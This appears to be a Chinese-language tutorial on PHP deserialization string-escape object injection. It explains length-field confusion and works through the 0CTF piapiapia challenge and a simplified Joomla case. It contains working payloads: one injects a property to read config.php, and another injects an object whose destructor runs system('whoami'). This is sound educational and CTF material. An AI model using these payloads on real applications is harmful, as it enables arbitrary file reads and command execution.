漏洞成因
php特性
1 2 3 4 5 6 7 8 9 10 11 12 13
| class Test{ public $name='james'; } $a = 'O:4:"Test":2:{s:4:"name";s:5:"james";s:3:"age";s:2:"20";}'; var_dump(unserialize($a));
|
- php反序列化的时候,会对类中不存在的属性进行反序列化
- 在反序列化的时候,以
;
分隔,}
结尾,并且判断长度与内容是否合适
example
由于序列化后的字符串,经过过滤函数不正确的处理导致的对象注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| function safe($string){ $a = preg_replace("/x/","bb",$string); return $a; } $user = 'monitor'; $pass = "test1230x"; $arr = array($user,$pass); echo serialize($arr); echo "\n"; $c = safe(serialize($arr)); echo $c;
var_dump(unserialize($c));
$us = 'monitorxxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"monitor";}'; $pass = "test1230"; $a = array($us,$pass); echo serialize($a); echo "\n"; $b = safe(serialize($a)); echo $b; var_dump(unserialize($b));
|

可以看到,序列化后的字符串,经过过滤函数的处理,会将x
替换成bb
,看到经过过滤函数之后的字符串:a:2:{i:0;s:7:"monitor";i:1;s:9:"test1230bb";}
,test1230bb
实际长度是10,但是输出结果还是原先的9。并且,php在反序列化时候,只要字符串块合法就可以,显然,第一个反序列化长度为10,结果为9,抛出错误。
因此,我们输入一个 x
可以逃逸出一个空位,那么如果我想改变pass
的属性:";i:1;s:7:"monitor";}
需要20个字符,那么输入20个x就可以注入成功,改变pass
的属性值。
0CTF piapiapia
漏洞点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php ... $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } ... public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } ... $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
|
提供一个用户信息修改的地方,代码处理时会先序列化,再经过安全函数的处理会导致字符串逃逸,可以修改对象的属性值,配合file_get_contents
可以读取任意文件内容。
poc:nikename[]=where*34";}s:5:"photo";s:10:"config.php";}
,这里一个where可以逃逸出一个空字符
Joomla逃逸
这里用的是网上别人的写的简易版,来看看漏洞成因
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| class evil{ public $cmd;
public function __construct($cmd){ $this->cmd = $cmd; }
public function __destruct(){ system($this->cmd); } }
class User { public $username; public $password;
public function __construct($username, $password){ $this->username = $username; $this->password = $password; }
}
function write($data){ $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data); file_put_contents("dbs.txt", $data); echo $data; }
function read(){ $data = file_get_contents("dbs.txt"); $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data); return $r; }
|
漏洞点在str_replace(chr(0).'*'.chr(0), '\0\0\0', $data)
,因为joomla会将数据存储到mysql数据库中,protected
变量序列化之后会有\x00*\x00
,那么mysql数据库不能存储空字符,所以在写入数据库之前经过替换,会将三个字符替换成六个字符,在反序列化时,会在读取的处理回来,这就导致存在逃逸。
先看下替换后的序列化字符串:
1
| O:4:"User":2:{s:8:"username";s:60:"m4ng00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";}
|
在替换后,长度是60,当从数据库提取出来时:
1
| O:4:"User":2:{s:8:"username";s:60:"m4ng00NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:54:"1234";}
|
可以看见,替换回来之后,少了27个字符,那么就可以通过这样对象注入:
1 2 3 4 5 6 7
| O:4:"User":2:{s:8:"username";s:60:"m4ng00\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";} //poc $username = "m4ng00\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0"; $payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $password = '1234";'.$payload."}"; write(serialize(new User($username, $password))); var_dump(unserialize(read()));
|
我们需要将扩增的27个字符覆盖掉password字段,即s:8:"password";s:54:"1234";
长度为27,正好覆盖,将payload作为password插入进去,这样在反序列化的时候就会触发evil
执行命令